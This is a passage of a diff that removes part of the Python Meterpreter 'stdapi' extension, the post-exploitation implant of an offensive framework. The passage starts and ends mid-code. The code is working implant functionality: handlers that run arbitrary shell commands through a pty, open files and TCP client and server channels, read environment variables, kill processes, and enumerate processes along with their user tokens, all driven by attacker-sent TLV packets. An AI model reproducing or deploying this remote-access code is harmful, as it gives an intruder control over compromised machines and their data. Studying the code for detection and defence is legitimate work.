ctypes.c_uint32), - ("dwBCastAddr", ctypes.c_uint32), - ("dwReasmSize", ctypes.c_uint32), - ("unused1", ctypes.c_uint16), - ("wType", ctypes.c_uint16)] - - class PROCESSENTRY32(ctypes.Structure): - _fields_ = [("dwSize", ctypes.c_uint32), - ("cntUsage", ctypes.c_uint32), - ("th32ProcessID", ctypes.c_uint32), - ("th32DefaultHeapID", ctypes.c_void_p), - ("th32ModuleID", ctypes.c_uint32), - ("cntThreads", ctypes.c_uint32), - ("th32ParentProcessID", ctypes.c_uint32), - ("thPriClassBase", ctypes.c_int32), - ("dwFlags", ctypes.c_uint32), - ("szExeFile", (ctypes.c_char * 260))] - - class SID_AND_ATTRIBUTES(ctypes.Structure): - _fields_ = [("Sid", ctypes.c_void_p), - ("Attributes", ctypes.c_uint32)] - - class SYSTEM_INFO(ctypes.Structure): - _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), - ("wReserved", ctypes.c_uint16), - ("dwPageSize", ctypes.c_uint32), - ("lpMinimumApplicationAddress", ctypes.c_void_p), - ("lpMaximumApplicationAddress", ctypes.c_void_p), - ("dwActiveProcessorMask", ctypes.c_uint32), - ("dwNumberOfProcessors", ctypes.c_uint32), - ("dwProcessorType", ctypes.c_uint32), - ("dwAllocationGranularity", ctypes.c_uint32), - ("wProcessorLevel", ctypes.c_uint16), - ("wProcessorRevision", ctypes.c_uint16)] - - class TOKEN_USER(ctypes.Structure): - _fields_ = [("User", SID_AND_ATTRIBUTES)] - - # - # Linux Structures - # - class IFADDRMSG(ctypes.Structure): - _fields_ = [("family", ctypes.c_uint8), - ("prefixlen", ctypes.c_uint8), - ("flags", ctypes.c_uint8), - ("scope", ctypes.c_uint8), - ("index", ctypes.c_int32)] - - class IFINFOMSG(ctypes.Structure): - _fields_ = [("family", ctypes.c_uint8), - ("pad", ctypes.c_int8), - ("type", ctypes.c_uint16), - ("index", ctypes.c_int32), - ("flags", ctypes.c_uint32), - ("chagen", ctypes.c_uint32)] - - class NLMSGHDR(ctypes.Structure): - _fields_ = [("len", ctypes.c_uint32), - ("type", ctypes.c_uint16), - ("flags", ctypes.c_uint16), - ("seq", ctypes.c_uint32), - ("pid", ctypes.c_uint32)] - - class RTATTR(ctypes.Structure): - _fields_ = [("len", ctypes.c_uint16), - ("type", ctypes.c_uint16)] - -# -# TLV Meta Types -# -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) -TLV_META_TYPE_QWORD = (1 << 20) -TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) -# not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) - -# -# TLV Specific Types -# -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 - -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 - -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 - -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 - -## -# General -## -TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 -TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 - -## -# Fs -## -TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 -TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 -TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 -TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 -TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 -TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206 - -TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 - -TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 -TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 -TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 -TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 - -## -# Net -## -TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 -TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 -TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402 -TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403 -TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404 - -TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 -TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 -TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 -TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 -TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424 - -TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 -TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 -TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 -TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 -TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434 - -TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 -TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 -TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 -TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 -TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 - -## -# Socket -## -TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 -TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 -TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 -TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 -TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 - -TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 - -## -# Registry -## -TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 -TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY -TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 -TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 -TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 -TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 -TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 -TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 -TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 - -## -# Config -## -TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 -TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 -TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 -TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 -TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 - -## -# Environment -## -TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 -TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101 -TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102 - -DELETE_KEY_FLAG_RECURSIVE = (1 << 0) - -## -# Process -## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 -TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 -TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 -TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 -TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 -TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 -TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 -TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 -TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 -TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 -TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 -TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 -TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 -TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 -TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 -TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 - -TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 -TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 -TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 -TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 -TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 - -TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 -TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 -TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 -TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 - -TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 -TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 -TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 -TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 - -## -# Ui -## -TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 -TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 -TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 - -## -# Event Log -## -TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 -TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 - -TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 -TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 - -TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 -TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 -TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 -TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 -TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010 -TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 -TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 -TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 - -## -# Power -## -TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 -TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 - -## -# Sys -## -PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) -PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) -PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) -PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) - -PROCESS_ARCH_UNKNOWN = 0 -PROCESS_ARCH_X86 = 1 -PROCESS_ARCH_X64 = 2 -PROCESS_ARCH_IA64 = 3 - -## -# Errors -## -ERROR_SUCCESS = 0 -# not defined in original C implementation -ERROR_FAILURE = 1 - -# Special return value to match up with Windows error codes for network -# errors. -ERROR_CONNECTION_ERROR = 10000 - -# Windows Constants -GAA_FLAG_SKIP_ANYCAST = 0x0002 -GAA_FLAG_SKIP_MULTICAST = 0x0004 -GAA_FLAG_INCLUDE_PREFIX = 0x0010 -GAA_FLAG_SKIP_DNS_SERVER = 0x0080 -PROCESS_TERMINATE = 0x0001 -PROCESS_VM_READ = 0x0010 -PROCESS_QUERY_INFORMATION = 0x0400 -PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 - -WIN_AF_INET = 2 -WIN_AF_INET6 = 23 - -# Linux Constants -RTM_GETLINK = 18 -RTM_GETADDR = 22 -RTM_GETROUTE = 26 - -IFLA_ADDRESS = 1 -IFLA_BROADCAST = 2 -IFLA_IFNAME = 3 -IFLA_MTU = 4 - -IFA_ADDRESS = 1 -IFA_LABEL = 3 - -meterpreter.register_extension('stdapi') - -def calculate_32bit_netmask(bits): - if bits == 32: - return 0xffffffff - return ((0xffffffff << (32-(bits%32))) & 0xffffffff) - -def cstruct_unpack(structure, raw_data): - if not isinstance(structure, ctypes.Structure): - structure = structure() - ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure)) - return structure - -def get_stat_buffer(path): - si = os.stat(path) - rdev = 0 - if hasattr(si, 'st_rdev'): - rdev = si.st_rdev - blksize = 0 - if hasattr(si, 'st_blksize'): - blksize = si.st_blksize - blocks = 0 - if hasattr(si, 'st_blocks'): - blocks = si.st_blocks - st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink) - st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev) - st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime)) - st_buf += struct.pack('<II', blksize, blocks) - return st_buf - -def get_token_user(handle): - TOKEN_QUERY = 0x0008 - TokenUser = 1 - advapi32 = ctypes.windll.advapi32 - advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)] - - token_handle = ctypes.c_void_p() - if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)): - return None - token_user_buffer = (ctypes.c_byte * 4096)() - dw_returned = ctypes.c_uint32() - result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned)) - ctypes.windll.kernel32.CloseHandle(token_handle) - if not result: - return None - return cstruct_unpack(TOKEN_USER, token_user_buffer) - -def get_username_from_token(token_user): - user = (ctypes.c_char * 512)() - domain = (ctypes.c_char * 512)() - user_len = ctypes.c_uint32() - user_len.value = ctypes.sizeof(user) - domain_len = ctypes.c_uint32() - domain_len.value = ctypes.sizeof(domain) - use = ctypes.c_ulong() - use.value = 0 - if not ctypes.windll.advapi32.LookupAccountSidA(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)): - return None - return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user)) - -def netlink_request(req_type): - import select - # See RFC 3549 - NLM_F_REQUEST = 0x0001 - NLM_F_ROOT = 0x0100 - NLMSG_ERROR = 0x0002 - NLMSG_DONE = 0x0003 - - sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE) - sock.bind((os.getpid(), 0)) - seq = int(time.time()) - nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC) - sock.send(nlmsg) - responses = [] - if not len(select.select([sock.fileno()], [], [], 0.5)[0]): - return responses - raw_response_data = sock.recv(0xfffff) - response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)]) - raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):] - while response.type != NLMSG_DONE: - if response.type == NLMSG_ERROR: - break - response_data = raw_response_data[:(response.len - 16)] - responses.append(response_data) - raw_response_data = raw_response_data[len(response_data):] - if not len(raw_response_data): - if not len(select.select([sock.fileno()], [], [], 0.5)[0]): - break - raw_response_data = sock.recv(0xfffff) - response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)]) - raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):] - sock.close() - return responses - -def resolve_host(hostname, family): - address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0] - family = address_info[0] - address = address_info[4][0] - return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)} - -def windll_GetNativeSystemInfo(): - if not has_windll: - return None - sysinfo = SYSTEM_INFO() - ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo)) - return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN) - -def windll_GetVersion(): - if not has_windll: - return None - dwVersion = ctypes.windll.kernel32.GetVersion() - dwMajorVersion = (dwVersion & 0x000000ff) - dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8) - dwBuild = ((dwVersion & 0xffff0000) >> 16) - return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) - -@meterpreter.register_function -def channel_open_stdapi_fs_file(request, response): - fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) - if fmode: - fmode = fmode['value'] - fmode = fmode.replace('bb', 'b') - else: - fmode = 'rb' - file_h = open(unicode(fpath), fmode) - channel_id = meterpreter.add_channel(MeterpreterFile(file_h)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def channel_open_stdapi_net_tcp_client(request, response): - host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value'] - port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value'] - local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST) - local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT) - retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1) - connected = False - for i in range(retries + 1): - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3.0) - if local_host.get('value') and local_port.get('value'): - sock.bind((local_host['value'], local_port['value'])) - try: - sock.connect((host, port)) - connected = True - break - except: - pass - if not connected: - return ERROR_CONNECTION_ERROR, response - channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def channel_open_stdapi_net_tcp_server(request, response): - local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0') - local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value'] - server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server_sock.bind((local_host, local_port)) - server_sock.listen(socket.SOMAXCONN) - channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_getenv(request, response): - for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE): - pgroup = bytes() - env_var = env_var['value'] - env_var = env_var.replace('%', '') - env_var = env_var.replace('$', '') - env_val = os.environ.get(env_var) - if env_val: - pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var) - pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val) - response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_sys_config_getsid(request, response): - token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) - if not token: - return error_result_windows(), response - sid_str = ctypes.c_char_p() - if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)): - return error_result_windows(), response - sid_str = str(ctypes.string_at(sid_str)) - response += tlv_pack(TLV_TYPE_SID, sid_str) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_getuid(request, response): - if has_pwd: - username = pwd.getpwuid(os.getuid()).pw_name - elif has_windll: - token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) - if not token: - return error_result_windows(), response - username = get_username_from_token(token) - if not username: - return error_result_windows(), response - else: - username = getpass.getuser() - response += tlv_pack(TLV_TYPE_USER_NAME, username) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_sysinfo(request, response): - uname_info = platform.uname() - response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1]) - response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]) - arch = uname_info[4] - if has_windll: - arch = windll_GetNativeSystemInfo() - if arch == PROCESS_ARCH_IA64: - arch = 'IA64' - elif arch == PROCESS_ARCH_X64: - arch = 'x86_64' - elif arch == PROCESS_ARCH_X86: - arch = 'x86' - else: - arch = uname_info[4] - response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_close(request, response): - proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE) - if not proc_h_id: - return ERROR_SUCCESS, response - proc_h_id = proc_h_id['value'] - if meterpreter.processes.has_key(proc_h_id): - del meterpreter.processes[proc_h_id] - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_execute(request, response): - cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value'] - raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS) - if raw_args: - raw_args = raw_args['value'] - else: - raw_args = "" - flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] - if len(cmd) == 0: - return ERROR_FAILURE, response - if os.path.isfile('/bin/sh'): - args = ['/bin/sh', '-c', cmd + ' ' + raw_args] - else: - args = [cmd] - args.extend(shlex.split(raw_args)) - if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - if has_pty: - master, slave = pty.openpty() - if has_termios: - settings = termios.tcgetattr(master) - settings[3] = settings[3] & ~termios.ECHO - termios.tcsetattr(master, termios.TCSADRAIN, settings) - proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) - proc_h.stdin = os.fdopen(master, 'wb') - proc_h.stdout = os.fdopen(master, 'rb') - proc_h.stderr = open(os.devnull, 'rb') - else: - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h.echo_protection = True - proc_h.start() - else: - proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h_id = meterpreter.add_process(proc_h) - response += tlv_pack(TLV_TYPE_PID, proc_h.pid) - response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) - if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - channel_id = meterpreter.add_channel(proc_h) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_getpid(request, response): - response += tlv_pack(TLV_TYPE_PID, os.getpid()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_kill(request, response): - for pid in packet_enum_tlvs(request, TLV_TYPE_PID): - pid = pid['value'] - if has_windll: - k32 = ctypes.windll.kernel32 - proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid) - if not proc_h: - return error_result_windows(), response - if not k32.TerminateProcess(proc_h, 0): - return error_result_windows(), response - elif hasattr(os, 'kill'): - os.kill(pid, 9) - else: - return ERROR_FAILURE, response - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_proc(request, response): - for pid in os.listdir('/proc'): - pgroup = bytes() - if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit(): - continue - cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb') - cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8'))) - status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read()) - status_data = map(lambda x: x.split('\t',1), status_data.split('\n')) - status = {} - for k, v in filter(lambda x: len(x) == 2, status_data): - status[k[:-1]] = v.strip() - ppid = status.get('PPid') - uid = status.get('Uid').split('\t', 1)[0] - if has_pwd: - uid = pwd.getpwuid(int(uid)).pw_name - if cmd: - pname = os.path.basename(cmd.split(' ', 1)[0]) - ppath = cmd - else: - pname = '[' + status['Name'] + ']' - ppath = '' - pgroup += tlv_pack(TLV_TYPE_PID, int(pid)) - if ppid: - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid)) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_ps(request, response): - ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] - proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - ps_output = str(proc_h.stdout.read()) - ps_output = ps_output.split('\n') - ps_output.pop(0) - for process in ps_output: - process = process.split() - if len(process) < 4: - break - pgroup = bytes() - pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3])) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:])) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_windll(request, response): - TH32CS_SNAPPROCESS = 2 - TOKEN_QUERY = 0x0008 - TokenUser = 1 - k32 = ctypes.windll.kernel32 - pe32 = PROCESSENTRY32() - pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) - proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) - result = k32.Process32First(proc_snap, ctypes.byref(pe32)) - if not result: - return error_result_windows(), response - while result: - proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID) - if not proc_h: - proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID) - exe_path = (ctypes.c_char * 1024)() - success = False - if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'): - success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) - elif hasattr(k32, 'GetModuleFileNameExA'): - success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) - if not success and hasattr(k32, 'QueryFullProcessImageNameA'): - dw_sz = ctypes.c_uint32() - dw_sz.value = ctypes.sizeof(exe_path) - success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz)) - if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'): - success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path)) - if success: - exe_path = ctypes.string_at(exe_path) - else: - exe_path = '' - process_username = '' - process_token_user = get_token_user(proc_h) - if process_token_user: - process_username = get_username_from_token(process_token_user) or '' - parch = windll_GetNativeSystemInfo() - is_wow64 = ctypes.c_ubyte() - is_wow64.value = 0 - if hasattr(k32, 'IsWow64Process'): - if k32.IsWow64Process(proc_h, 